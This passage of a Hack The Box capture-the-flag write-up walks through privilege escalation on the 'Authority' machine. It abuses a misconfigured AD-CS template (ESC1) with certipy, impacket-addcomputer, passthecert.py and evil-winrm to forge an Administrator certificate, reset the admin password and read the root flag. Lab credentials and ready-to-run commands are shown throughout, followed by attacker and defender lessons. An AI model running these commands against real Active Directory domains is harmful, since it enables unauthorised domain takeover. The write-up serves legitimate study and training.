2022-08-10T21:27:13Z, DEBUG, secure.CertificateReadingTrustManager, ServerCertReader: read self-signed certificates from remote server: [{"subject":"","serial":"3D000000036DE75854E4DD36E2000000000003","issuer":"CN=htb-AUTHORITY-CA, DC=htb, DC=corp","issueDate":"2022-08-09T23:03:21Z","expireDate":"2024-08-09T23:13:21Z","md5Hash":"D49477106F6B8100E4E19CF2AA40DAE1","sha1Hash":"DDEDB994B80C83A9DB0BE7D35853FF8E54C62D0B","sha512Hash":"47593E0C28E3FDBDFF236B9FE3F6A46286735D53EBEA4625F6DDBDE0A6984E2F0308AE9A2680E981529BB5D970E1D5215E66342CE399D759F82052CF6F5B6060"}]
2022-08-10T21:27:13Z, DEBUG, secure.X509Utils, ServerCertReader: read x509 Certificate from host=authority.htb.corp, port=636: 
[
[
  Version: V3
  Subject: 
  Signature Algorithm: SHA256withRSA, OID = 1.2.840.113549.1.1.11

  Key:  Sun RSA public key, 2048 bits
  params: null
  modulus: 
  
  [...omitted...]                                         ..

[3]: ObjectId: 1.3.6.1.5.5.7.1.1 Criticality=false
AuthorityInfoAccess [
  [
   accessMethod: caIssuers
   accessLocation: URIName: ldap:///CN=htb-AUTHORITY-CA,CN=AIA,CN=Public%20Key%20Services,CN=Services,CN=Configuration,DC=htb,DC=corp?cACertificate?base?objectClass=certificationAuthority
]
]

 [...omitted...]  

[6]: ObjectId: 2.5.29.37 Criticality=false
ExtendedKeyUsages [
  1.3.6.1.5.2.3.5
  1.3.6.1.4.1.311.20.2.2
  serverAuth
  clientAuth
]

[7]: ObjectId: 2.5.29.15 Criticality=true
KeyUsage [
  DigitalSignature
  Key_Encipherment
]

[8]: ObjectId: 2.5.29.17 Criticality=true
SubjectAlternativeName [
  Other-Name: Unrecognized ObjectIdentifier: 1.3.6.1.4.1.311.20.2.3
  DNSName: authority.htb.corp
  DNSName: htb.corp
  DNSName: HTB
]

 [...omitted...]  
 
]
2022-08-10T21:27:13Z, DEBUG, secure.X509Utils, ServerCertReader: process completed

Further down the log, there are a bunch of complaints and errors about a bad certificate, for example:

cert errors in log

This got me wondering if maybe there was some way to use a bad certificate for privesc.

The Certificate Signing Request

Hours later and after much research, I discovered that there are several well-known privesc techniques that revolve around abusing certificates involved in Active Directory (especially in Enterprise environments). I found a very well-written article about these techniques, a Hacktricks page that references that other article often, and a few important tools for investigating this class of vulnerability:

  • Certify : For replacing the built-in Windows GUI tools for requesting certificates from the AD-CS. Also finds vulnerabilities in AD-CS.
    • Ex. Certify.exe find /clientauth will query certificate templates that provide the ClientAuth EKU.
  • Rubeus : A counterpart to Certify for interacting with Kerberos (usually for using forged certs to authenticate)
  • certipy : An “offensive tool for enumerating and abusing Active Directory Certificate Services”.
    • The github repo’s description links to the article I referred to in the previous paragraph.
  • BloodHound : For linking together a chain of vulnerabilities between different pieces involved in Active Directory (and certificate requesting / signing)

Following the steps outlined on the Hacktricks page, I decided to start with certipy. I’ll check if there are any vulnerable certificate templates. From my attacker box I ran the following:

certipy find -u 'svc_ldap@authority.htb' -p 'lDaP_1n_th3_cle4r!' -dc-ip $RADDR

This took a little bit of time, then generated three files: one json, one txt and one zip. To see the output, I checked the txt file:

certipy found vulnerable template

🤑 Wow, that worked like a charm! The tool found 36 templates, and showed that one of them was vulnerable - it even says which vulnerability was found! Here, “ESC1” refers to the type of certificate vulnerability as originally described by that article that everyone keeps referencing.

In short, this ESC1 vulnerability means that there is a template that permits Client Authentication in the cert’s Extended Key Usage (EKU), and that in a Certificate Signing Request (CSR) we are able to specify our own Subject Alternate Name (SAN). This should be usable to request a certificate for an arbitrary user 🤞

Quick side-note: I found something very juicy inside the PWM log file

pwm version and password

Not only is there a password (near the bottom) but also a version number for PWM: v2.0.3 (top line)

Having confirmation that the template introduces the ESC1 vulnerability, I next tried to request the certificate:

certipy req -u 'svc_ldap@authority.htb' -p 'lDaP_1n_th3_cle4r!' -ca 'AUTHORITY-CA' -target-ip $RADDR -template 'CorpVPN' -upn 'Administrator@authority.htb'

The result was an error message:

Got error while trying to request certificate: code: 0x80094012 - CERTSRV_E_TEMPLATE_DENIED - The permissions on the certificate template do not allow the current user to enroll for this type of certificate.

🤔 Ok, that makes a bit of sense. After all, the certipy find command showed the vulnerability:

ESC1 : 'AUTHORITY.HTB\\Domain Computers' can enroll, enrollee supplies subject and template allows client authentication

So the problem might be that I’m trying to request a certificate as svc_ldap but that user is not permitted to do so. Maybe I’ll try using certipy to generate a new user, then try making the certificate request originate from that user instead?

certipy account create -user Jimbo -username svc_ldap@authority.htb -p 'lDaP_1n_th3_cle4r!' -upn Administrator -scheme ldaps -dc-ip $RADDR -debug

Made new user

Certipy automatically generated a password. The new credential is Jimbo : JfiriHHtb53aiDMT. However, when I check net users via the evil-winrm shell, the new Jimbo user does not appear - this makes me think that adding the user probably was not actually successful.

At the suggestion of a very helpful HTB user, @mark94, I’ll try using impacket-addcomputer instead.

impacket-addcomputer -computer-name BOSSCOMPUTER1 -computer-pass password123 -method LDAPS -port 636 -dc-ip $RADDR 'authority.htb/svc_ldap:lDaP_1n_th3_cle4r!'

That command reported success. I moved on to re-try the certipy req. At first, it did not work:

certipy request 1

No real statement about the error; just a line instructing to use -debug - so I did:

certipy req -u 'BOSSCOMPUTER1$' -p 'password123' -ca 'AUTHORITY-CA' -target-ip $RADDR -template 'CorpVPN' -upn 'Administrator' -debug

certipy request 2

Wait, what? Did that actually work?

Using the Certificate

It definitely did produce a certificate: administrator.pfx. I’ll try using it to log in. Still loosely following the instructions from the Hacktricks page, I’ll try to use certipy to authenticate:

certipy auth -pfx 'administrator.pfx' -username 'Administrator' -domain 'authority.htb' -dc-ip $RADDR

I guess the intended result of that command is that I’d be granted a a ticket-granting-ticket (TGT) from Kerberos. Unfortunately, it did not work. Instead, I looked up how I can use WinRM to login using just the certificate for authentication (much like using ssh -i <privatekey>). Shown in this article, it looks like the proper syntax is this:

evil-winrm -S -i 10.10.10.103 -u amanda -p Ashare1972 -c certnew.cer -k private.key

Ah ok, so expects the certificate to be in the form of a .cer certificate file and a .key private key file. No problem, thankfully certipy has a function for exactly this:

 certipy cert -pfx 'administrator.pfx'  

Shown below, that command outputs both the .cer portion and the .key portion to stdout.

split cert

To separate them, I simply copy-pasted the two components into two separate files administrator.cer and administrator.key.

With that handled, I’ll try logging in using WinRM… But unfortunately it seems that the password field is required even if a key is provided. Just in case, I tried it with a fake password

evil-winrm -S -c administrator.cer -k administrator.key -i $RADDR -u Administrator -p unknown

Unsurprisingly, it did not work.

Rubeus seems like it is able to provided a TGT based only on the certificate and private key. But since it is only in C# and I would need to compile the code myself, I kept looking a for an alternative idea…

💡 We have a private key and a certificate - you’d think it would be possible to assign a new password to the account the at the certificate is for, right? If I knew the password, I could proceed with the original plan and simply log in using evil-winrm. After much reading, I finally found an article talking about doing exactly that. They make reference to a tool called PassTheCert, which has a python implementation - let’s give that a go!

python3 ~/Tools/WINDOWS/passthecert.py -new-pass adminpassword -dc-ip $RADDR -crt administrator.cer -key administrator.key -domain authority.htb

maybe password change

That seems like a good sign 😅 Let’s try Evil-WinRM with the new credential: Administrator : adminpassword

admin winrm fail

😿 Not successful. At least I know it was an Authorization Error. Thankfully, it looks like PassTheCert.py has another similar function for resetting passwords, using the modify_user action.

python3 ~/Tools/WINDOWS/passthecert.py -action modify_user -dc-ip $RADDR -crt administrator.cer -key administrator.key -domain authority.htb -target Administrator -new-pass

admin password change

Ok, so it’s saying the new credential is Administrator : V7kn2XDRyH11HCdo8fkeyr2UNc9dSucQ. Let’s try Evil-WinRM once again:

administrator winrm

😁 YES!!! IT FINALLY WORKED! I am absolutely overjoyed to be done this box. I hope I don’t have to touch Windows for a long time.

Simply read the flag and leave this godforsaken operating system as fast as you can:

root flag

type root.txt

LESSONS LEARNED

two crossed swords

Attacker

  • Port scans can’t be too fast. Using too aggressive of timing settings will lead to some ports falsely appearing. In my workflow, that means that
  • Keep hints in mind. Sometimes, the box creator will leave little fairly large hints out in the open. In my experience, these tend to be very helpful. The best example is from this box is the “PWM is in configuration mode” dialog that appeared. Hints like this can be useful for focusing your search when attack surface seems too broad to approach smartly.
  • Research, research, research. Knowing about vulnerabilities like the improper configuration of Active Directory Certificate Signing is absolutely invaluable if you plan on exploiting it. Also, instead of identifying a vulnerability and diving into an attempt to exploit it, doing a little extra research can save time: it helps point out useful tools that others have made, and sometimes even PoC code to get you started.
  • Consider a post-exploitation framework. Several tools could have helped me perform enumeration and identify the AD-CS vulnerabilities faster. They can also help keep notes more succinct.
two crossed swords

Defender

  • Encryption guarding admin secrets should be especially strong. The Ansible Vault was too easily cracked.

  • Remove development systems from production. There was no reason that PWM should have been accessible at all, since it wasn’t yet fully configured. But along the same lines, the feature for testing the PWM was the key to gaining foothold. This should have simply been removed.

  • Using a password manager is a great start, but better yet, just use an SSO service. Having separation between your servers and your auth system helps create a gap: if one becomes compromised, at least it wasn’t both.

  • Stay on top of threat intelligence. Don’t just rely on software updates and patches - the vendor won’t always be willing to fix the problem: this was the case with the AD-CS vulnerability on this box.


Thanks for reading

🤝🤝🤝🤝
@4wayhandshake